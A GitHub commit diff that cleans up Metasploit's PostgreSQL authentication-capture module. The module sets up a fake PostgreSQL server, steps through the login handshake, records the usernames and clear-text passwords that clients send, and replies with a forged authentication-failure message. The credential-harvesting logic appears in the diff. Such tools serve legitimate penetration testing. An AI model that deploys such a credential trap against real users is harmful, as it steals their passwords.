Skip to content

Commit 0755cbe

Browse files
author
jvazquez-r7
committed
cleanup: clear strings, delete unused variables, author email foramt, use of unpack
1 parent 09c4c81 commit 0755cbe

File tree

1 file changed

+17
-21
lines changed

1 file changed

+17
-21
lines changed

modules/auxiliary/server/capture/postgresql.rb

Lines changed: 17 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -15,11 +15,10 @@ class Metasploit3 < Msf::Auxiliary
1515
def initialize
1616
super(
1717
'Name' => 'Authentication Capture: PostgreSQL',
18-
'Version' => '$Revision$',
1918
'Description' => %q{
2019
This module provides a fake PostgreSQL service that is designed to
2120
capture clear-text authentication credentials.},
22-
'Author' => 'Dhiru Kholia <dhiru at openwall.com>',
21+
'Author' => 'Dhiru Kholia <dhiru[at]openwall.com>',
2322
'License' => MSF_LICENSE,
2423
'Actions' => [ [ 'Capture' ] ],
2524
'PassiveActions' => [ 'Capture' ],
@@ -64,9 +63,9 @@ def on_client_data(c)
6463
@state[c]["status"] = :send_auth_type
6564
elsif @state[c]["status"] == :send_auth_type
6665
# Startup message
67-
length = data.slice!(0, 4).unpack("N")[0]
68-
protocol = data.slice!(0, 4).unpack("N")[0]
69-
sdata = [ 0x52, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x03 ].pack("CCCCCCCCC")
66+
data.slice!(0, 4).unpack("N")[0] # skip over length
67+
data.slice!(0, 4).unpack("N")[0] # skip over protocol
68+
sdata = [ 0x52, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x03 ].pack("C*")
7069
c.put sdata
7170
data.slice!(0, 5) # skip over "user\x00"
7271
@state[c][:username] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0]
@@ -75,12 +74,12 @@ def on_client_data(c)
7574
@state[c]["status"] = :pwn
7675
elsif @state[c]["status"] == :pwn and data[0] == 'p'
7776
# Password message
78-
length = data.slice!(0, 5).unpack("N")[0]
77+
data.slice!(0, 5).unpack("N")[0] # skip over length
7978
@state[c][:password] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0]
8079
report_auth_info(
8180
:host => c.peerhost,
8281
:port => datastore['SRVPORT'],
83-
:sname => 'psql',
82+
:sname => 'psql_client',
8483
:user => @state[c][:username],
8584
:pass => @state[c][:password],
8685
:type => "PostgreSQL credentials",
@@ -90,20 +89,17 @@ def on_client_data(c)
9089
)
9190
print_status("PostgreSQL LOGIN #{@state[c][:name]} #{@state[c][:username]} / #{@state[c][:password]} / #{@state[c][:database]}")
9291
# send failure message
93-
sdata = [
94-
0x45, 97 - 8 + @state[c][:username].length, 0x53,
95-
0x46, 0x41, 0x54, 0x41, 0x4c, 0x00, 0x43, 0x32,
96-
0x38, 0x50, 0x30, 0x31, 0x00, 0x4d, 0x70, 0x61,
97-
0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x20, 0x61,
98-
0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63,
99-
0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x66, 0x61,
100-
0x69, 0x6c, 0x65, 0x64, 0x20, 0x66, 0x6f, 0x72,
101-
0x20, 0x75, 0x73, 0x65, 0x72, 0x20, 0x22
102-
].pack("CN" + "C" * 56) + @state[c][:username] +
103-
[ 0x22, 0x00, 0x46, 0x61, 0x75, 0x74, 0x68, 0x2e,
104-
0x63, 0x00, 0x4c, 0x33, 0x30, 0x32, 0x00,
105-
0x52, 0x61, 0x75, 0x74, 0x68, 0x5f, 0x66,
106-
0x61, 0x69, 0x6c, 0x65, 0x64, 0x00, 0x00 ].pack("C" * 29)
92+
sdata = [ 0x45, 97 - 8 + @state[c][:username].length].pack("CN")
93+
sdata << "SFATAL"
94+
sdata << "\x00"
95+
sdata << "Mpassword authentication failed for user \"#{@state[c][:username]}\""
96+
sdata << "\x00"
97+
sdata << "Fauth.c"
98+
sdata << "\x00"
99+
sdata << "L302"
100+
sdata << "\x00"
101+
sdata << "Rauth_failed"
102+
sdata << "\x00\x00"
107103
c.put sdata
108104
c.close
109105
end

0 commit comments

Comments
 (0)